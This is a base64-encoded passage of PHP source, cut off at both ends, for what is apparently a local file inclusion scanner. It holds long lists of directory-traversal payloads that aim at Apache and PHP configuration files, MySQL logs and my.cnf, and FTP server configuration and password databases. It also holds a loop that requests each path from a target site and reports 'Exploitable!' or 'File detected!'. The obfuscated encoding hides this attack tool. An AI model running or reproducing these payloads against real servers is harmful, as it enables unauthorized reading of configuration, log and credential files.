vY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBwcy9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBwcy9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cC9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHAvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcHJpdmF0ZS9ldGMvaHR0cGQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mLmRlZmF1bHQiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVm9sdW1lcy93ZWJCYWNrdXAvb3B0L2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL1ZvbHVtZXMvd2ViQmFja3VwL3ByaXZhdGUvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVm9sdW1lcy93ZWJCYWNrdXAvcHJpdmF0ZS9ldGMvaHR0cGQvaHR0cGQuY29uZi5kZWZhdWx0Ii4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHAvaHR0cGQuY29uZi5waHAiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDQvaHR0cGQuY29uZi5waHAiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDUvaHR0cGQuY29uZi5waHAiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA0L2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDUvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDM1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL2FwYWNoZS92aG9zdHMuY29uZiIuJGJ5dGUxLiIiKTsgDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICRsZmlwaHBpbmkgPSBhcnJheSggDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2Jpbi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbGliL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbGliL3BocC9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocC9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA0L2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA1L2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA0LjQvZmNnaS9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA0L2FwYWNoZS9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA0L2FwYWNoZTIvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNS9hcGFjaGUvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNS9hcGFjaGUyL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvcGhwNC9waHAuaW5pIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvYXBhY2hlL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9hcGFjaGUyL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vd2ViL2NvbmYvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvWmVuZC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvZXRjL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvY2FsL3d3dy9jb25mL3BocC5pbmkiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9jZ2kvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC9jZ2kvcGhwLmluaSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNS9jZ2kvcGhwLmluaSIuJGJ5dGUxLiIiKTsgDQogICAgICAgICANCiAgICAgICAgICAkbGZpbXlzcWwgPSBhcnJheSggDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbC9teXNxbC5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL215c3FsLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9saWIvbXlzcWwvbXkuY25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL215c3FsL215LmNuZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWxkLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbXkuY25mIi4kYnl0ZTEuIiIpOyANCiAgICAgICAgIA0KICAgICAgICAgICRsZmlmdHAgPSBhcnJheSggDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbG9ncm90YXRlLmQvcHJvZnRwZCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3d3dy9sb2dzL3Byb2Z0cGQuc3lzdGVtLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvcHJvZnRwZCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wcm9mdHAuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wcm90cGQvcHJvZnRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZoY3MyL3Byb2Z0cGQvcHJvZnRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Byb2Z0cGQvbW9kdWxlcy5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy92c2Z0cGQubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZzZnRwZC5jaHJvb3RfbGlzdCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbG9ncm90YXRlLmQvdnNmdHBkLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdnNmdHBkL3ZzZnRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy92c2Z0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvY2hyb290VXNlcnMiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy94ZmVybG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9hZG0vbG9nL3hmZXJsb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3d1LWZ0cGQvZnRwYWNjZXNzIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy93dS1mdHBkL2Z0cGhvc3RzIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy93dS1mdHBkL2Z0cHVzZXJzIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9zYmluL3B1cmUtY29uZmlnLnBsIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmUtZnRwZC9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9wdXJlZnRwZC9ldGMvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9wdXJlZnRwZC9zYmluL3B1cmUtY29uZmlnLnBsIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9wdXJlZnRwZC9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlLWZ0cGQvcHVyZS1mdHBkLnBkYiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlZnRwZC5wYXNzd2QiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmUtZnRwZC9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL2Z0cC9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9wb3J0cy9uZXQvcHVyZS1mdHBkLyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDM0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcGtnc3JjL25ldC9wdXJlZnRwZC8iLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL2NvbnRyaWIvcHVyZS1mdHBkLyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDM2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3B1cmUtZnRwZC9wdXJlLWZ0cGQubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2xvZ3MvcHVyZS1mdHBkLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDM4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3B1cmVmdHBkLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDM5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Z0cC1wcm94eS9mdHAtcHJveHkubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNDAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZnRwLXByb3h5Ii4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZnRwbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9sb2dyb3RhdGUuZC9mdHAiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0MyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2Z0cGNocm9vdCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQ0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvZnRwaG9zdHMiLiRieXRlMS4iIik7IA0KICAgICAgICAgDQogIA0KICAgICAgICAgJHggPSAxOyANCiAgICAgICAgIGlmICggJHR5cGUgPT0gMSApIHsgDQogICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyANCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyANCiAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOyANCiAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOyANCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2hpbGUoJGxmaWFjY2Vzc1skeF0pIHsgDQogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlhY2Nlc3NbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IA0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlhY2Nlc3NbJHhdLiJcIj4iLiR0YXJnZXQuIiIuJGxmaWFjY2Vzc1skeF0uIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdy